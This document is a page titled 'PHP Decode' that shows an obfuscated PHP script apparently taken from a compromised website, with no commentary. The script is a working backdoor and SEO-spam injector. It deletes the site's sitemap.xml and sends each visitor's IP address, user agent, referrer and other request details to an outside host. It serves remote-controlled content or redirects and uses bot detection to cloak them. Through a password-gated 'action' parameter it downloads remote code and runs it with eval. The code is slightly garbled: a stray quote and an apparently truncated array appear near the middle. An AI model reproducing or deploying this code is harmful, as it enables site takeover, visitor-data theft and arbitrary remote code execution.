PHP Decode

<?php header(\'Content-Type: text/html; charset=utf-8\'); @set_time_limit(0); 
@error_reporting(0); 
@ignore_user_abort(1); 
@session_start(); 
ini_set(\'display_errors\', \'Off\'); 
if (isset($_SERVER[\'DOCUMENT_ROOT\'])) { 
    $rTOwZgpmMehTc = $_SERVER[\'DOCUMENT_ROOT\']; 
}else{ 
    $rTOwZgpmMehTc = dirname(__FILE__); 
} 
$neFFQHuTLOguIPhUIH = "sitemap.xml"; 
if(file_exists($CMRjpbhJkeGuCqrF = $rTOwZgpmMehTc."/".$neFFQHuTLOguIPhUIH)) { 
    @unlink($CMRjpbhJkeGuCqrF); 
} 
$OTYcRDcbUBhHYQP = "http"; 
if (awKTPcLAjUsCCFOcaNo()) {$OTYcRDcbUBhHYQP = \'https\';} else {$OTYcRDcbUBhHYQP = \'http\';} 
$FlwwmDFhmbu = NqWgrmIkFfRRM(); 
$CkuXXBftZx = urlencode(NqWgrmIkFfRRM()); 
$TWsWiQDYbohMd = urlencode(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]); 
$QlXfXnhEWYWXUYIfcuzi = urlencode($_SERVER[\'HTTP_HOST\']); 
$TWsWiQDYbohMd = urlencode($TWsWiQDYbohMd); 
$vePflTRglbe = \'\'; 
if (isset($_SERVER[\'HTTP_REFERER\'])) { 
    $vePflTRglbe = $_SERVER[\'HTTP_REFERER\']; 
} 
$vePflTRglbe = urlencode($vePflTRglbe); 
$UTEpYgZuWhGPvYGZOqGf = strtolower($_SERVER[\'HTTP_USER_AGENT\']); 
$KPuZYSzsKXh = urlencode($UTEpYgZuWhGPvYGZOqGf); 
$VNYqPRmbUtoEhKY = urlencode(isset($_SERVER[\'REMOTE_ADDR\']) ? $_SERVER[\'REMOTE_ADDR\']:\'\'); 
$VHbAKrQjZybuE = \'h\'.\'t\'.\'t\'.\'p\'.\':/\'.\'/h4rnh2.fruvaq.top/in\'.\'d\'.\'ex\'.\'on\'.\'e.\'.\'ph\'.\'p?\'.\'m\'.\'y\'.\'_\'.\'h\'.\'o\'.\'s\'.\'t=\'.$QlXfXnhEWYWXUYIfcuzi.\'&m\'.\'y_\'.\'u\'.\'ri=\'.$CkuXXBftZx.\'&m\'.\'y\'.\'_l\'.\'a\'.\'ng=\'.$TWsWiQDYbohMd.\'&my\'.\'_or\'.\'igi\'.\'n=\'.$vePflTRglbe.\'&ht\'.\'t\'.\'p_typ\'.\'e=\'.$OTYcRDcbUBhHYQP.\'&my\'.\'_ag\'.\'e\'.\'nt=\'.$KPuZYSzsKXh.\'&m\'.\'y_i\'.\'d=\'.$VNYqPRmbUtoEhKY; 
if(!empty($_REQUEST[\'action\'])){ 
    $aTzyfSmKxRyeBQ = $_REQUEST[\'action\']; 
    $oaqcwrUhiIHllF = substr($aTzyfSmKxRyeBQ, -1); 
    $aTzyfSmKxRyeBQ = substr($aTzyfSmKxRyeBQ, 0, strlen($aTzyfSmKxRyeBQ)-1); 
    $XQCzfLiBnvI = array(\'93\',\'92e\',\'f9\',\'255\',\'e\',\'1cc\',\'28d\',\'06\',\'4b19\',\'7\',\'96b0e\',\'86\',\'d\'); 
    if(md5($aTzyfSmKxRyeBQ) == implode($XQCzfLiBnvI)){ 
        if(isset($_REQUEST[\'action\'])){$_SESSION[\'action\'] = md5($aTzyfSmKxRyeBQ);} 
        $str_urls = array(\'ug\',\'g\',\'c:\',\' 
        $dACVYqxihmPMm = jqgRmhYvGpFjus(str_rot13(implode($str_urls)).$oaqcwrUhiIHllF.\'.t\'.\'x\'.\'t\'); 
        eval(\'?>\' . $dACVYqxihmPMm); 
    } 
    exit(); 
}else{ 
    if(strpos($UTEpYgZuWhGPvYGZOqGf, "bot") !== false || strpos($UTEpYgZuWhGPvYGZOqGf, "spider") !== false || strpos($UTEpYgZuWhGPvYGZOqGf, "yahoo") !== false || strpos($UTEpYgZuWhGPvYGZOqGf, "bing") !== false || strpos($UTEpYgZuWhGPvYGZOqGf, "google") !== false){ 
        if(ikIyherJEMggFXr($KPuZYSzsKXh)){ 
            $cEshuzrtsphcMiuW = trim(jqgRmhYvGpFjus($VHbAKrQjZybuE)); 
        } 
    }else{ 
        $cEshuzrtsphcMiuW = trim(jqgRmhYvGpFjus($VHbAKrQjZybuE)); 
    } 
} 
if (!strstr($cEshuzrtsphcMiuW, \'notdoanything\')) { 
    $rVQdIstJNZZaufUVbil = array(); 
    if (strstr($cEshuzrtsphcMiuW, \'echohtmlcontent\')) { 
        @header("Content-type: text/html; charset=utf-8"); 
        $cEshuzrtsphcMiuW = str_replace("echohtmlcontent", \'\', $cEshuzrtsphcMiuW); 
        echo $cEshuzrtsphcMiuW; 
        exit(); 
    }else if(strstr($cEshuzrtsphcMiuW, \'echoxmlcontent\')){ 
        $cEshuzrtsphcMiuW = str_replace("echoxmlcontent", \'\', $cEshuzrtsphcMiuW); 
        @header("Content-type: text/xml"); 
        echo trim($cEshuzrtsphcMiuW); 
        exit(); 
    }else if(strstr($cEshuzrtsphcMiuW, \'echorobotscontent\')){ 
        @header("Content-type: text/plain; charset=utf-8"); 
        $cEshuzrtsphcMiuW = str_replace("echorobotscontent", \'\', $cEshuzrtsphcMiuW); 
        $zy_list = explode(\'[zm]\', $cEshuzrtsphcMiuW); 
        foreach($zy_list as $k=>$v){ 
            echo $v.PHP_EOL; 
        } 
        exit(); 
    }else if (strstr($cEshuzrtsphcMiuW, \'echo500pagecontent\')) { 
        @header(\'HTTP/1.1 500 Internal Server Error\'); 
        exit(); 
    }else if (strstr($cEshuzrtsphcMiuW, \'echo404pagecontent\')) { 
        @header(\'HTTP/1.1 404 Not Found\'); 
        exit(); 
    }else if (strstr($cEshuzrtsphcMiuW, \'echo301pagecontent\')) { 
        @header(\'HTTP/1.1 301 Moved Permanently\'); 
        $cEshuzrtsphcMiuW = str_replace("echo301pagecontent", \'\', $cEshuzrtsphcMiuW); 
        @header(\'Location: \' . $cEshuzrtsphcMiuW); 
        exit(); 
    } 
} 
function ikIyherJEMggFXr($KPuZYSzsKXh){ 
    $UTEpYgZuWhGPvYGZOqGf = strtolower($KPuZYSzsKXh); 
    if ($UTEpYgZuWhGPvYGZOqGf != "") { 
        $WBixwjtvCgqtEgaGL = array("Googlebot", "Yahoo! Slurp", "Yahoo Slurp", "bing.com", "bingbot", "Google AdSense", "google", "yahoo", "bing"); 
        foreach ($WBixwjtvCgqtEgaGL as $OYcRNLtKzBnkvmz) { 
            $str_urls = strtolower($OYcRNLtKzBnkvmz); 
            if (strstr($UTEpYgZuWhGPvYGZOqGf, $str_urls)) { 
                return true; 
            } 
        } 
    }else{ 
        return false; 
    } 
} 
function awKTPcLAjUsCCFOcaNo(){ 
    if (isset($_SERVER[\'HTTPS\']) && strtolower($_SERVER[\'HTTPS\']) !== \'off\') { 
        return true; 
    } elseif (isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\']) && $_SERVER[\'HTTP_X_FORWARDED_PROTO\'] === \'https\') { 
        return true; 
    } elseif (isset($_SERVER[\'HTTP_FRONT_END_HTTPS\']) && strtolower($_SERVER[\'HTTP_FRONT_END_HTTPS\']) !== \'off\') { 
        return true; 
    } 
    return false; 
} 
function NqWgrmIkFfRRM() 
{ 
    if (isset($_SERVER[\'REQUEST_URI\'])) { 
        $CkuXXBftZx = $_SERVER[\'REQUEST_URI\']; 
    } else { 
        if (isset($_SERVER[\'argv\'])) { 
            $CkuXXBftZx = $_SERVER[\'PHP_SELF\'] . \'?\' . $_SERVER[\'argv\'][0]; 
        } else { 
            $CkuXXBftZx = $_SERVER[\'PHP_SELF\'] . \'?\' . $_SERVER[\'QUERY_STRING\']; 
        } 
    } 
    return $CkuXXBftZx; 
} 
function jqgRmhYvGpFjus($VHbAKrQjZybuE) { 
    $CbpOfWWdvNTQtWtZSu = ""; 
    if (function_exists(\'file_get_contents\')) { 
        $CbpOfWWdvNTQtWtZSu = file_get_contents($VHbAKrQjZybuE); 
    } 
    if (empty($CbpOfWWdvNTQtWtZSu) && function_exists(\'curl_exec\')) { 
        $OufmWTMTFtALGWuScGB = curl_init($VHbAKrQjZybuE); 
        curl_setopt($OufmWTMTFtALGWuScGB, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($OufmWTMTFtALGWuScGB, CURLOPT_FOLLOWLOCATION, 1); 
        curl_setopt($OufmWTMTFtALGWuScGB, CURLOPT_SSL_VERIFYPEER, 0); 
        curl_setopt($OufmWTMTFtALGWuScGB, CURLOPT_SSL_VERIFYHOST, 0); 
        $CbpOfWWdvNTQtWtZSu = curl_exec($OufmWTMTFtALGWuScGB); 
        curl_close($OufmWTMTFtALGWuScGB); 
    } 
    if (empty($CbpOfWWdvNTQtWtZSu) && function_exists(\'fopen\') && function_exists(\'stream_get_contents\')) { 
        $handle = fopen($VHbAKrQjZybuE, "r"); 
        $CbpOfWWdvNTQtWtZSu = stream_get_contents($handle); 
        fclose($handle); 
    } 
    return $CbpOfWWdvNTQtWtZSu; 
} ?>